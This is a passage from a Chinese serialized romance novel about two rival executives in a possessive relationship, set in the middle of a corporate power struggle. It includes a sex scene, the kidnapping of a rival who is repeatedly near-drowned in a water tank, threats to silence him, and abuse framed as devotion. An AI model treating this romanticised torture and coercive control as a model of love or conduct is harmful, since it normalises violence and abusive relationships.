乔淮生站在窗边,清风吹起一点他的额发,连声音都显得空旷:“我就是这样看到你的。” “是不是很奇怪?”乔淮生笑了笑,“我明明都没有见过你。” 却可以因为一个人而放弃一件事,因为一个人而重拾希望,因为一个人纠缠这么久,直到再也没有办法将对方从自己的生命中剥离。 “我当时只是觉得很生气,”微风吹动房间里的颜料气息,“我在想,为什么你不会觉得愤怒呢?为什么你就能这样活下去呢?” 他曾经以为顾舟是真的不在乎。 可原来顾舟的答案是不能,乔淮生也不能。 但是好在,他们都在这不能忍受的生命里,找到了可以让自己活下去的存在。 乔淮生的手指缓缓地挑开顾舟的上衣,露出精壮紧实的腰腹和上面有些斑驳交错的伤痕。 他静静地抚摸那天留下的痕迹:“疼不疼?” 顾舟摇摇头,依然偏过头注视着乔淮生的脸:“习惯了。” 乔淮生却突然从旁边取出一只画笔,笔尖像是流淌的欲望,代替乔淮生的手指在顾舟身上游走,微微发痒的触感让顾舟忍不住挣扎了下,乔淮生却一把按住他的肩:“别动。” 乔淮生正在顾舟的身上作画。 顾舟偏过头,从模糊的镜中看到他起草的轮廓——那是一朵玫瑰。 玫瑰不会坠落到肮脏的下水道里,但玫瑰吻在了他的身上。 笔尖在顾舟的腰腹上游动,乔淮生长睫低垂,目光认真,生平第一次,顾舟从乔淮生的身上找到了那样专注,那样长久的注视,心脏仿佛被滚烫盈满,他甚至觉得,就算是乔淮生落下的是把刀,自己都能笑着迎上去。 但是乔淮生的画工很好,顾舟丝毫不怀疑他有做什么事情都优秀的能力,玫瑰在他的身上扎根,生长,像是从伤痕累累的肌肤里开出的繁盛的新生。 “这是烙印,”花朵落下最后一滴红,乔淮生收了笔,“这辈子,你只能听我一个人的。” 他满意地欣赏自己的作品,一只手轻抚过顾舟的脖颈,甚至开始思考项圈的形状:“你要是敢背叛我,” “我就打断你的腿。” “不用你,”笔痕一干,顾舟立刻翻身压上来,嘴唇咬上乔淮生的脖颈,午夜梦回时肖想过的血肉,如今终于在他的舌尖下颤动,“我自己打断了送给你。” 灼热的吻沿着脖颈的一路往下,动作渴求又急迫,齿痕用力,乔淮生轻轻地闷哼了一声,刚刚还急不可耐的顾舟动作一停:“对不起,你……” 那是舒服。 乔淮生眉头一皱,不由得啧了一声:“你到底行不行?” 顾舟眼眸一深,从路上买的东西拿出来:“我只是怕你受伤。” “是吗,这么怜香惜玉?那不然还是你……” 顾舟猛地封住了他的唇。 刚刚画好的玫瑰延伸折叠,因为热气的蒸腾而变得格外鲜红,又被落下水珠的洗涤,顾舟一只手捞起他的脖颈:“还好吗?” “在你眼里我有这么脆弱吗?” 这样磨叽下去到底要什么时候才能结束,乔淮生忍着那点不适,抬起眼,眼尾带着水光,连那颗痣跟着浮动:“我好像还没有告诉你……” 乔淮生轻轻地笑了一声,笑声是被水汽浸透的沙哑性感:“那天见到看到你的时候,我……” 在那天昏黄的夕阳里,在小巷的血腥,缠斗,在顾舟浑身鲜血,鬣狗凌厉的目光抬头的那一眼。 乔淮生因为药物消失已久的感知第一次有了反应。 他……了。 那个字一落下,顾舟眼眸瞬间锐利起来,抓着乔淮生腰身的手指收紧,却在乔淮生泄力的前一秒,猛地将人抱起来,狠狠地按在窗台上:“所以,是在这里吗?” 声音落在耳边,像是恋人般的亲昵: “……生生?” * 潮湿的热气是浮动的梦。 乔淮生从梦里惊醒。 身上多了床被子,一瞬间,他以为这是刚刚有人来过,几乎就要坐起身来。 却后知后觉地想起,这是他睡着之前,担心自己发烧,于是爬起来盖好的。 另一个人缺席了太久,身体驯化的习惯早已被另一种习惯代替,乔淮生早已经习惯自己照顾自己了。 不过万幸的是——乔淮生摸了摸额头,只是有点水意的凉,并没有发烧。 乔淮生看了看门口,那扇门依然没有任何被推开的迹象。 可是今天已经是第三天了。 砰!砰!砰! 敲门的声音传来,乔淮生一抬头,几乎立刻就起身去开门。 “乔总!” 郁明推开门,手中抱着合同:“我来接你一起去公司。” “今天上午十点正式签合同,已经跟股东们说好了,按照您之前安排的,跟纵缰是同一天。” 郁明不太明白乔淮生的用意,只是挠挠头,询问道:“我们现在走吗乔总?” “好,”乔淮生强迫自己将视线从隔壁转回来,“好,走吧。” “那个……”郁明指了指乔淮生还光着的脚,“乔总……是不是要先换个鞋?” 乔淮生垂下头,有些自嘲地笑了笑。 铺垫了这么久,如果说没有失望才是假的,或许,他也曾期待着会得到什么结果吧? 可是他得到了什么呢? 不然算了吧,为什么一定要得到一个答案呢,乔淮生想。 打断腿,关起来,不也是挺好的。 只有真正的狗才永远不会背叛吧? “还有一件事,”郁明想了想,又忍不住道,“之前我过来给您送材料的时候,我看到……” “看到什么?” “看到……莫骁的前秘书刘响,”那个被乔淮生一上来就弄下去的人,郁明说,“我看到他进了秦总那边的门。” “万一他要是跟秦舟……乔总,这次合约不会有什么问题吧?” 乔淮生静静地看着窗外流逝的街道,良久,他才轻轻地勾起唇角,笑了笑:“不会。” 他说:“不会再有什么问题了。” * 会议在上午十点如期召开。 毕竟是两位最大股东的一致行为协议,流程上需要全体董事在场表决见证,斗法这么久的两位将要在今天见分晓,所有人都到得很早。 只除了莫骁本人。 指针已经过了十点,乔淮生下方的位置还是空空荡荡。 “怎么回事,”副总周寻挥挥手叫来秘书,“莫总人呢?” “已经联系过了,”小秘书也很着急,“莫总的电话没有人接,也派人到家里问了,保姆说他从前天晚上出去就没回来,不知道去了哪里。” “要不,要不我再想办法联系一下?” 底下窃窃私语的人越来越多,连带着郁明一起皱起眉,附在乔淮生耳边小声道:“乔总,不会是……” 乔淮生摇了摇头,手指点在桌面上。 十点二十五分。 这个时候,纵缰和崇山的合约应该已经都签完了吧。 秦舟是什么时候回去的,昨天晚上?前天晚上?还是在跟他说完就已经走了。 那个问题,只有他一个人这样可笑地纠结过吗? “没关系,”乔淮生笑了笑,“既然莫总不来,那我们就……” “乔总!” 会议室的门突然被推开,秘书一脸惶恐,而她的身后,跟着一个绝对不应该出现在这里的人—— 秦舟西装革履,款款而立,领针的样式好似五年前乔淮生送他的,盘旋的飞鸟到现在依然不过时,反倒在这时为他平添了几分矜贵气质。 他站在门口,抬眸望了乔淮生一眼,微微地笑了。 “乔总,”秘书无奈地解释,“这个人说他要来见你,我……” “没事。” 乔淮生站起身:“你怎么会在这里?” “秘书都不是说了吗?”秦舟道,“来找你。” “秦舟,你知道我在问什么?” 秦舟没回答,只是伸手在乔淮生的额头上碰了碰,像是在查看他的体温,又望了眼乔淮生身上的衣服,不赞同道:“穿这么少就出门?昨天晚上差点起烧。” 乔淮生浑身一震。 “怎么这副表情看我,”秦舟脸上带着淡笑,手指顺势抚过他的脸:“我以为我在这里,你应该很高兴?” 指腹滑过他的下巴,秦舟留恋地碰了碰:“这样……你才会知道我有多爱你吗?” 手指一颤,有那么一瞬间,乔淮生甚至觉得秦舟早就知道了他真正想要做的是什么。 郁明却突然在这个推开休息室的门:“乔总!” “那个,”迎面看到秦舟放在乔淮生脸上的手,郁明只能假装自己瞎了:“监控说,” 他只能艰难地将自己的视线从两人身上摘下来:“监控说,莫总的车今天早上八点的时候出现在老城区,从那以后就不见了。” 莫骁家里别墅一堆,没必要在明知道要开会的上午跑到老城区里,以他的性格,不管是输是赢,总该过来了结清楚,除非……他是要见什么扭转战局的关键人物。 乔淮生猛地抬头看了秦舟一眼。 “我会杀了他。” 他还记得这句话落地时扭曲的、疯狂的神态。 一股寒意油然爬上心头。 或许是他想错了,乔淮生想——他从一开始就想错了。 秦舟不是不出现,不是离开也不是背叛,他是去…… 手指猛地一颤,秦舟却在这个时候坐了下来,一无所知般地给自己倒了杯茶,露出的腕骨上是一只熟悉的手表——在乔淮生跟他在酒局相遇的第一个晚上,就曾经被副总不小心掉落。 而现在,秦舟好似已经懒得再掩饰这一切,只是抬头望了眼乔淮生:“如果我没记错的话,按照章程,已经接受通知的董事不到场等于弃权。” 他轻轻地笑了笑:“他不来,你不是也可以继续吗?” 或者说没有了莫骁这个阻力,乔淮生的动作应该会更干脆便利。 “你怎么知道他不会过来?” “或许吧,”秦舟说,“一个思路而已,你可以继续等。” “我只是来提醒你。” 秦舟把手中的茶放下,含笑望了乔淮生一眼:“家里的玫瑰换好了,不要忘记回去吃饭。” “还有,”他轻轻地抚了下手腕,眼底仿佛有一闪而过的血色,“你不是说……要跟我谈谈吗?” 第33章 第三十三章 “疯子” “我是说过, ”乔淮生微微眯起了眼睛,手指撑在桌上, “不过在那之前,你可不可以先告诉我……” 乔淮生压低声音,盯着秦舟英挺的面容:“莫骁在哪?” “他……” “如果你决定骗我,最好想一个万全的理由,”乔淮生或许在说莫骁,又或许是别的事情,“能骗一辈子的那种。” 秦舟于是微微偏过了眼睛。 “回去告诉各位董事, 会议暂停,”乔淮生转头对郁明说,“跟他们说, 如果莫总不来,那就一直等着, 等到他回来为止。” “那我帮你先点点吃的?” “可以,”郁明出去通知, 乔淮生一把将门摔上了, “但是你最好换个地方送。” “如果过了12个小时, 莫骁还不回来,我会直接跟警方报失踪。” 秦舟似乎是将这看作是一种对自己的威胁, 无所谓地笑了笑:“没关系。” 他已经不是当年那个做了事情还需要乔淮生给自己收场的一无所有的穷小子了,费尽心思爬上这个位置,就是为了有一天能够肆无忌惮地做这些事:“人丢了, 是该要找一下的。” “好啊,”乔淮生点点头,撑在桌上的手指收紧,“我会跟警方说, 出于竞争关系,我是莫骁失踪的第一嫌疑人,让他们优先对我进行候审调查,财务进出,人际关系,包括……”乔淮生一字一句,“所有的就诊记录。” 说到就诊记录四个字,秦舟原本懒散地搭着的手指瞬间握紧了。 但是乔淮生仿佛已经预料到他的反应似的,微微一笑:“所以,如果你真的想送的话,不妨来趟警局?” 秦舟终于不得不抬起了头,深吸口气:“你真的想见他?” “你说呢?” “好。”秦舟点了点头,“我带你去。” 车子在老城区凌乱的街道里拐了几个弯,停在了一个废弃工厂的门口。 乔淮生穿过大门,在空旷的中央看到了现在的莫骁。 他身上已经完全分辨不出当初那个气势汹汹跟乔淮生争辩的影子,剪裁精致的西装已经看不出颜色,全身上下都是水淋淋的,两只手被反绑着靠在一个柱子上,嘴巴被人堵住,面前是一个巨大的水箱,似乎是察觉到人来,正要回头—— 秦舟一挥手,立刻有人将挂着他的绳索一松,整个人的头颅都被按进了水里。 被绑在一起的双腿剧烈的踢蹬,莫骁疯狂地挣扎了起来。 但是秦舟冷冷地,平静地注视着这一切,甚至还伸手将乔淮生拦了一下:“别再往里进了,他会看到你。” 这些肮脏的事情只有他一个人来做就好了,乔淮生不需要参与。 其实如果可以,秦舟压根也不想让乔淮生知道。 “你这些天不出现,就是为了做这个事?” “是。”为了获取莫骁的信任多费了一点时间,他甚至刻意避免了跟乔淮生在人前见面,不过好在,效果很不错。 “为什么?” “我说过我要杀了他。” 秦舟平静地说着,好像是这是什么可以随口讲述的事情,只要他在的时候,那些伤害过乔淮生的人从来都不用乔淮生自己处理,之前是这样,现在还是这样。 “你疯了!”如果只是一些恶作剧,乔淮生还可以摆平,但是现在,“你知不知道要是莫骁真的出事……” “乔淮生。”秦舟回望他,定定道,“你当时去陵山,是莫骁故意的,他知道那里可能会出危险。” “所以……我不可能会放过他。” 只是给乔淮生下个药就足够让秦舟疯狂了,更何况是现在这样。 秦舟不会忘记到锦城接到乔淮生那通电话的焦急与恐慌。 他等了五年才能见到的人,却有人差点就给他毁掉了,凭什么呢? 秦舟微微眯起眼睛,一个抬手,原本已经奄奄一息的莫骁立刻被绳索拉了上来捞了上来,就在他以为能够终于能够呼吸一口的时候,那绳索蓦地一松。 手腕被绳索磨出血痕,窒息的挣扎声在空旷的工厂里显得格外分明。 “秦舟!”乔淮生不由得拧起眉,“但是就算是这样,这也是我自己的事情,和你有什么关系!谁要你做这些!” “你知道我这辈子最后悔的事情是什么吗?” 秦舟转过头,乔淮生一瞬间以为他要说之前的离开,但是秦舟缓缓地笑了下:“我最后悔的,就是五年前……” “没能接到你的那通电话。” 于是等他反应过来的时候,乔淮生就应该在医院里。 “而且,谁说这只是你自己的事情了,”秦舟望着乔淮生,“你不是问我五年前为什么要离开吗?” “我现在就可以告诉你了。” “因为我跟他是一样的人。”秦舟的指腹缓缓地扫过乔淮生的脸颊,像是五年前一样暧昧地,用力下压,“都在渴望着你的视线。” “你知道我有多讨厌他们吗?你让莫骁和宁斯与过来的时候,我有多难过吗?” 秦舟的手指扫过乔淮生的唇畔,挑开那温润的柔软,将自己修长的手指狠狠地插进去:“前两天我不该对你生气的。” “你身边总是有这么多人,我早该习惯的,生生。” “五年前我没有办法,只能像一条狗一样在你面前哀求。” 手指因此变得湿润,他垂眸盯着乔淮生眼中的水光:“但是现在不是了。” “我等了五年,就是为了现在,有能力让想要消失的人全都消失。” 秦舟说罢,猛一抬手,莫骁被人倒挂着扔进了巨大的水箱! 挣扎的声音那样剧烈,但是秦舟却缓缓地,勾出一个扭曲又痴迷的笑: “你看,你现在不得不只看着我一个了。” 第34章 第三十四章 “想要你……管教我。”…… 老实说, 乔淮生并不是很在乎莫骁的生死。 他又不是什么圣人,早在莫骁敢那么对他的时候, 乔淮生心中就已经替他想好了以后的结局。 但是即便是动手,乔淮生也会像是当初动那个讨厌的演员一样,将自己摘得干干净净。 起码不应该是现在这样。 不应该由秦舟动手,更不应该以现在的方式动手。 被扔进水箱的人像被烫到的鱼一样剧烈地扑腾,乔淮生的嘴唇被秦舟按压出一点嫣红,抬眸凝视秦舟:“放人。” “不可能。” “秦舟,我不希望自己再重复第二遍。” “是吗?”秦舟嗤笑了一声, 微一屈膝,乔淮生整个人被他压在身后的柱子上,“可是你用什么来命令我呢, 生生?” “我现在还是你当初那只随叫随到的狗吗?” “既然我和他们没有什么不一样,既然给了我的还可以给别人, ”秦舟的膝盖顶着乔淮生的腿根,目光像是潮湿幽怨的男鬼, “那么你凭什么又要我死心塌地地听你的?” “我都说了, 这是我跟他之间的事情。” “反正我们这么不重要, 这么无所谓,就算一起死了, 对你来说应该也是百利无一害吧。” 当初乔淮生对他说过的话被秦舟原封不动地回到了乔淮生的身上:“一次性解决两个自己讨厌的人,乔总岂不是立马要回恒盛开瓶香槟庆祝?” 乔淮生微微眯起了眼睛。 挤入自己双腿之间的那条腿是如此的存在分明,紧绷的肌肉隔着两层交错的西装布料研磨着他, 那样的热切和他的言语一点也不匹配:“秦舟,你是在跟我抱怨吗?” 手指一把甩开抚在自己的脸上的手,乔淮生冷冷道:“你有什么资格跟我抱怨?” “你背叛我只是为了得到我,是吗?” “是我冷落了你, 是我让你受了委屈还是我背着你招蜂引蝶,才让做出这种事?” 乔淮生一把提起秦舟的领带:“说话!” 秦舟的嘴唇颤动了下,却终究没有发出声音。 “把自己的一厢私欲包装得那么好听,我差点以为你真的要爱我爱到不可救药,”乔淮生微微凑近他,浓郁的黑醋栗香气顺着领口钻出来,那被蹂躏到饱满的红唇轻启,带着些嘲弄,“但是当时……” “先背着我和秦之昭联系的人,不是你吗?” 秦舟垂下的长睫狠狠一颤,却一把揽着乔淮生的腰身压回去:“是又怎么样!” “你的父亲、母亲、朋友、同事……有哪一个把我放在眼里过?是不是每个人都在问我为什么跟你走在一起?” 秦舟深深吸了气,眸光中眼尾微红:“所以我算什么?你的走狗?你的污点?你见不得光的存在?还是你应该被惩罚的罪证?!” 乔淮生受到的关注太多了。 从小到大,有那么多人的目光集中在他的身上,以至于他在学校有任何一点亲密的消息,就会被人谈说议论。 更何况,那个人还是满身淤泥。 傅芸的高傲让她连见都不愿意见另一个舆论中的另一个对象,更别说像电视剧的母亲一样扔几张支票。 她只是把乔淮生关在了家里。 她不让佣人给他吃的,不让他开灯,像往常一样教育他,用那样极端的、歇斯底里的方式,将他视为一个家庭的耻辱,视为自己二十年来的失败。 但是她没想到,乔淮生生平第一次反抗了,用一种激烈的、决绝的方式—— 乔淮生在夜深人静时从二楼跳了下去。 小少爷身上没有带一分钱,仅仅凭着记忆,穿过蛛网凝结的街道,在阴森的夜晚里撞开了顾舟的门。 顾舟正坐在灵堂里。 在医院里拖拉了小半年的老太太还是去世了,他这个世界上最后一个不算亲人的亲人也不在,顾舟回过头。 然后他看到乔淮生。 他的小少爷,他少吃一点饭都要让人担忧的小少爷,睡觉时要用厚厚的毯子包裹着,打球时要永远喝温度恰好的水,脚疼一点就要人背着。 他放在心头的月亮。 现在却带着浑身的伤——乔淮生身上全是灌木挂出的血痕,走路的姿势有点坡,脚背被磨出一层的血痕。 却依然弯起眼睛,勾出一个微笑来:“顾舟。” 他的眼眶有些红,说:“我们私奔吧。” 可是故事从一开始就错了。 他不该带走乔淮生的。 或者从一开始——当乔淮生在学校里叫住的那一个瞬间,他就不该回头。 “或许我错了,”秦舟轻轻地笑了声,“但我从来没有后悔过。” “秦之昭说得对,”秦舟拂过乔淮生的侧脸,“在权势面前,爱情算是什么?” “你看,莫骁就算是再讨厌我,还是不得不跟我合作,那些人就算是再看不起我,也只能毕恭毕敬的叫我秦总,还有你,”黑醋栗的味道挨得那样近,秦舟微微俯身,“就算是我在你心里再无所谓,还不是要为了莫骁的命来这里?” “现在不好吗……生生?” “我还是会跟一样守在你身边,帮你做所有不喜欢的事,让所有伤害过的你付出代价,而那些想要议论我们的人,不得不闭嘴。” “而你要做的只有一件事……” 旁边的莫骁已经奄奄一息,而秦舟缓缓勾起一个笑容:“你想救他吗,生生?” “那就……管教我。” “管教你?”乔淮生嗤笑一声,“你以为我来救他,是因为你吗?” “别太自以为是了,秦舟。” “我救他是因为他是我合作对象,就算我真的要杀他,他也只是因为他惹了我,”乔淮生刻意加重了最后一个字,“跟你又有什么关系呢?” “我没有资格管教你,你以为自己有资格替我出头吗?” “五年前我就告诉过你,我这辈子最讨厌别人自作主张,你不放人,行啊。” 乔淮生一点头,猛地甩开秦舟,按着莫骁的头,重重地压进了水里。 本来就已经折磨得奄奄一息的人,连挣扎都变得缓慢,但是乔淮生动作狠厉,像是真的要莫骁的命。 “乔淮生!” 他自己怎么样都可以,但是莫骁绝不可以死在乔淮生的手里! “乔淮生!放手!” 膝盖顶着莫骁的腿猛地一弯,那人把人身子都被按在了水里,像是生命最后的回光返照,剧烈挣扎了起来。 “乔淮生!!!” “我现在可以跟你谈条件了吗?”乔淮生冷冷地回过头,“秦总?” 秦舟发觉自己真的差点忘了——从一开始,乔淮生就是一个比自己还要歇斯底里的疯子! “好!”眼看着莫骁真的要命丧当场,秦舟眉头皱起,“我答应你,我会放了他!” 话音一落,乔淮生这才将莫骁从水里扔出了。 泡了太久的人已经彻底昏迷,但是乔淮生没有任何怜香惜玉的心思,猛地一脚踹在了莫骁腹部。 刚刚喝进去的水哇得一声吐出来,莫骁痛苦地睁开眼睛,还没等秦舟有空遮住乔淮生,乔淮生便唤道:“莫骁。” 莫骁回过头,看清楚乔淮生的脸和他身后站着的秦舟,那是一个和当初的张寻一模一样的震惊:“你……你们……” “听着莫骁,”但是乔淮生对他没什么耐心,直接一把拎起莫骁的领子,“你今天从来没有来过这里,也没有见过秦总。” “你只是不小心错过了会议时间,被我出来寻到,等你回去之后,我们的会议还是可以继续。” “怎么可能!”莫骁生平第一次被人这样对待,简直要跳起来,“明明是秦……” “你应该知道,”乔淮生卡着他的领口的手移到脖颈,威胁道,“我们能绑你一次,也能绑你第二次。” 他说的是“我们”而不是“他”,秦舟的目光微微一凝。 “你以为鱼死网破可能只是自投罗网,”乔淮生说,“莫总,不会做出这么不明智的事情吧?” “他妈的,我!” “作为交换!”乔淮生打断他,“之前说好的那3%,我可以不要。” “新合同很快就会拟好,莫总不至于跟钱过不去吧?” 莫骁的挣扎终于慢了下来。 乔淮生这才示意:“快把莫总好好地送医院。” 这时才有人进来将莫骁带走,秦舟静静地盯着乔淮生的动作,等这里终于空无一人,才开口:“当初被我伤的周兆和他的那几个朋友,最后是怎么处理的?” 他当时被乔淮生勒令不许再联系,几乎是破罐子破摔地将人弄进了ICU,但奇怪的是,周兆他爸只派人歇斯底里地找了几天,后面居然就偃旗息鼓了。 乔淮生微微挑眉:“你说呢?” 秦舟于是沉默了。 乔淮生说不再管他,可是话里话外将他摘得干干净净,好像是他指使秦舟将人绑了似的。 “乔淮生,你……” 乔淮生轻轻地笑了一声:“为什么要管你?” “老实说,秦舟,你今天在这里,我其实真的挺高兴的。” 这也就意味着,崇山的项目已经签约了——在秦舟缺席的情况下。 乔淮生布了那么久的局,如今终于到了可以收尾的时候。 他当然高兴。 当然,这高兴里或许还有一点别的东西,秦舟没有选择回公司,而是留了下来。 起码证明,他还是要重要一点点的吧。 但是那又怎么样呢? 乔淮生想,是,现在是挺好的。 当初的穷小子摇身一变成了现在人人敬畏的秦总,当然好。 让他当做什么都没发生过跟秦舟这么过下去,好得不得了。 但是他的背叛,他的痛苦,他的失落……他的爱人死了,谁来替他委屈呢? “你的确做错了事情。” 乔淮生突然一把拎起秦舟的领带,猛地一脚踹在他的膝窝,强迫他半跪了下去:“想让我管教你吗,秦舟?” “想让我在意你,关注你,关心你,因为你而抢下刹车,因为你而喊疼,因为你而愤怒,永远……只看着你一个人?” 乔淮生的脚尖沿着劲瘦的腿部肌肉缓缓上移,西裤上很快被染上了污脏,每说一句,秦舟胸膛的起伏就更剧烈一分。 “那你不应该去找秦之昭,”皮鞋转动,乔淮生的脚尖缓缓用力,“你应该来找我。” “你之前做错了,不管没关系,我今天很高兴。” 乔淮生轻轻附在他耳边:“我可以再给你一次机会。” 等到秦舟经历他曾经经历的一切,等到秦舟体会到他所体会的痛苦,等到秦舟失去一切,他会把他想要的一切再赐予他。 脚掌下的东西慢慢变得涨大,乔淮生缓声笑道: “这一次,可千万别选错了。” 第35章 第三十五章 “今夜愿与您验证忠诚。”…… “乔总, 我们现在回宁市吗?” 乔淮生靠在椅背,懒洋洋应了一声:“嗯。” 郁明往座位后面看了眼, 又小心翼翼问:“那……那秦总?” “你管他干什么?想投敌吗?”乔淮生眼睛微微抬了下,“不然我给你写封推荐信去纵缰?” 郁明连忙摆手。 他只是觉得,按照这些天形影不离的样子,秦舟理所应当要跟乔淮生一起回去的。 结果临走的时候,乔淮生连提都没提这个人,难道还真是锦城的露水情缘?一回去就又要开始你死我活了? 郁明脑子里想了八百部狗血大戏,一回头, 才发现乔淮生已经睡着了。 之前秦舟还特意交代过他,说乔淮生感冒刚好不要着凉,郁明正要挥挥手去找乘务员拿毯子。 有人先他一步, 将毯子盖在了乔淮生的身上。 “秦……”郁明下一字还没出口,便看到宁斯与冲他笑笑, 随后坐到了乔淮生后面的位置。 两个小时后,飞机平稳降落, 乔淮生一睁眼, 就看到伏在自己身边的宁斯与。 脸上带着乖巧到讨好的笑, 香水是不令人讨厌的奶香,正在帮乔淮生拾起掉落的毯子, 半个身子贴在乔淮生身上,长睫轻轻地眨动着,几乎是一个很适合睡醒时下手的姿势。 “那个……”见到乔淮生醒来, 宁斯与脸上带了点被欺负的软糯,紧张得像只兔子,“我只是,我只是想帮您拾一下毯子。” “不用了, ”乔淮生轻笑一声,没有挑破他这些小把戏,只是将毯子推开,“这不是要下机了吗?” 说罢,也没管跟在身后的宁斯与,垂眸看了眼短信。 来人没什么备注,但是语气却轻佻:“宝贝儿,崇山的合同签了。” “现在开始动手吗?” 乔淮生垂下眼,漫不经心打下两个字:“当然。” 刚刚收起手机,郁明就小跑过来:“乔总,有件事……” 能让郁明这么吞吞吐吐的事情不多,乔淮生已经预感到了什么:“什么事?” “那个,”郁明说,“这次W·S珠宝拍卖晚会给您发了邀请。” W·S珠宝在四大奢侈品里也算是赫赫有名的,只是有一点——它里面有纵缰的控股。 “我知道这个您之前都是拒绝的,”郁明说,“不过主办经理一定要我转告你。” 乔淮生几乎都可以通过郁明的叙述感知到那人说这话时的语气:“这次的晚会采用拍卖形式,每个人都可以拿出自己的一件物品进行拍卖,拍卖落槌金额由物品提供者决定。” “他说……您应该会喜欢。” “哦对,他还给了我一张电子邀请函,上面写——” “今夜愿与您验证忠诚。” 这实在不是一张邀请函上会跟所有参与者写上的字句,几乎相当于明晃晃地写着特殊,郁明忍不住发问:“所以乔总……您要去吗?” “去啊。” 乔淮生轻轻地笑了声。 他当初在万众瞩目的地方失败过一次,现在新的战局,当然也要从万众瞩目里开始。 “你不用跟着了,先回家休息吧,我自己开车过去。” 乔淮生刚要拉开车门,宁斯与却突然跟过来:“乔总要去拍卖会吗?” “我送您过去吧?”他说着站在车前,一副关心又担忧的样子,“那个……我听郁经理说,您的腿在锦城受过伤,不然还是我来吧?” 乔淮生微微眯起了眼睛。 老实讲,这些年追着乔淮生不放的人很多,有点手段的也不少。 但是像宁斯与这种有手段又知情知趣还追着不放的,确实很少见。 尤其是,在他已经知道了乔淮生和秦舟之前的关系时。 所以,早在宁斯与在锦城出现的第一天,乔淮生就已经关注了他。 “行,”乔淮生将钥匙一抛,绕去了副驾,“那你来开。” “谢谢乔总!” 宁斯与立刻兴高采烈地接了钥匙。 他开车和他这个人一样,永远都不紧不慢恰到好处,是一个让人舒服的节奏,乔淮生不说话,宁斯与便主动道:“乔总,你能回来真是太好了!” “这些天你在锦城,其实我一直在想你,知道您出事,我真的快要担心死了。” “您可以让我照顾您吗,”车子在红灯停下,一双手从下方伸过来,可语气却带着几分小心翼翼地讨好,“我只是能留在您身边就可以了,其余的我都不在意,我,我……” “宁斯与。”乔淮生突然叫他的名字,“你为什么跟着我来锦城?” 他不笑的时候就显得莫名压迫,宁斯与心中咯噔一声,原本伸出去的手瞬间收了回去,却依然小声道:“那个……我之前不是说了,我有个研讨会在这里,我只是太想乔总了,我知道乔总您在附近,所以就……” “你今年研三,参加研讨会对你来说除了浪费时间没有任何用途。而且你的专业,最近在锦城也没有大型的学术交流会。” 乔淮生坐直身体,微微抬眼:“还是说,你愿意放下家里的债务专程去锦城散心?” 前方变成绿灯,宁斯与握着方向盘的手开始渗出冷汗,却依然维持着微笑:“乔总你说什么呢,我怎么会……” “你父亲应该是宁易海吧。”乔淮生骤然打断他,“易遇科技的小公子。” “你不是那些攀缘附会的小明星,需要在圈子里给自己找个靠山。” “也不是没名没利的小网红,想在我这里拿走一两套房子车子。” “你这么积极地想要爬我的床,是为了什么,”乔淮生双手交叠,那淡淡的嗓音仿佛能够直接穿透宁斯与的心脏,“总不会……是喜欢我吧?” 宁斯与浑身一震,手腕差点从方向盘上脱离。 “看路,左转。” 冷冷的命令声让他回过神,却被自己惊出一身虚汗:“我……” “你家的易遇科技出了问题。”乔淮生替他补全了这个问题,“现金流断裂,急需大量资金回笼保住公司,所以,你需要找一个足够有能量,能把易遇起死回生的人。” 乔淮生望着宁斯与越来越白的脸,嗤笑一声:“怎么,宁易海已经老到这个程度,需要靠自己儿子爬床帮他堵窟窿了。” “不是,不是的,”宁斯与的语气看起来要哭出来,“爸爸他,他生了很严重的病。” “医生说他没有多少天了。” “我想在他走之前让他看到,我是,”宁斯与抽噎了一声,“我是有能力守好这个公司的,我能照顾我和妈妈。” “但是我太没用了,我想了很多办法,没有人愿意借这么多钱给我们,没有人在意我的努力,他对不起我爸爸,还有妈妈,她什么都不知道,她……” “停车。” 宁斯与一愣,车子在路边停下,这才发现自己刚刚说了什么:“不是,乔总我不是那个意思!” “我承认我是有目的,但是我对你,我对你是……” “我对聆听别人的家庭遭遇没有兴趣。”乔淮生眼睫低垂,“下车。” “乔总!只要您让我留在你身边,我什么都愿意做,只要您帮我这一次,我……” 乔淮生抽了张纸巾扔给宁斯与,看着他那哭得一把鼻涕一把泪的样子,忍不住笑了声:“哭什么,我又没说不帮你。” 宁斯与愣愣地抬起眼,乔淮生靠在车门边点了根烟,微风吹起他的额发,他略略回过头:“不管怎么说,你那天陪我看了场电影。” 这话说得带着几分落寞,就好像是乔淮生这么多年身边绯闻无数,连个一起看电影的人都没有。 手指递了张支票:“如果你愿意,这些就当是电影票了。” 宁斯与这才吸吸鼻子,垂眸看了眼支票——如果单从一个情人的角度,这应该是一个不错的数目了。 更何况说起来,他其实什么也没付出过。 “谢谢乔总,”宁斯与知道自己不应该要求更多,只是……仅要这些救活一个集团,这还远远不够,“对不起……” “或者,你还有另一个选择。” 带着烟草味的男人气息骤然靠近,语气里带着点调笑:“只是,你想要自己应该付出什么代价了吗?” 过近的距离让宁斯与浑身瞬间紧绷,脚背紧紧地贴在车门,可是看着乔淮生那张过分昳丽的脸,心跳又忍不住变快:“我……” “衣服脱了。” 面前人冷冷地命令,宁斯与忍着羞耻,一点点将自己身上的外套脱掉——有钱人都会有些不为人知的癖好。 但是为了爸爸的公司,就算是乔淮生想要在这里对他做什么,他也…… 耳朵一点点地染上红色,外套里只剩薄薄的一层衬衫,这个时候,乔淮生却道:“手机给我。” 宁斯与瞳孔睁大,一瞬间以为乔淮生是要拍什么视频羞辱他,可还是咬着牙,将手机递了过去。 结果乔淮生却抬手打开车门,将手机扔了进去。 车门被关上,他将手中的袋子递给宁斯与:“换上。” 宁斯与愣了一下,这才低头一看——袋子里是一身剪裁精致的西装,连尺码都正好合适。 他怔怔地望了乔淮生一眼,像是猜到他在想什么,乔淮生轻笑了声:“怎么,觉得我要对你做什么?” “第一天见面我就告诉过你,你不是我的菜。” 他抬起眼,目光像是怀念:“有些人的取向一旦定了,这辈子都不会改变的。” “换上,然后跟我去拍卖会。” 乔淮生心里很清楚,他跟着秦舟一旦开始,就没有再回头的机会,也许最后还会闹成不死不休的境地。 所以……他需要有一个人,帮他做一些自己做不了的事。 “今天晚上,你就会得到我给你的定金。” 那根烟燃到了尽头,乔淮生抬手按灭,他等这一天等了太久,好像是肺腑都跟畅快起来:“然后,我需要你跟我一起,在纵缰股票下坠到最低点的时候,做空纵缰。” 宁斯与唰得抬起头来。 即便是他再怎么微小也知道,纵缰拿下了清江湾又签了崇山,现在是风头正盛的时候。 但是宁斯与到底聪明,不该他知道的事情,他一句也没有多问,只是道:“那定金……” 手中的盒子画了一个抛物线,宁斯与抬手接过来,听到乔淮生道:“这是拍品。” 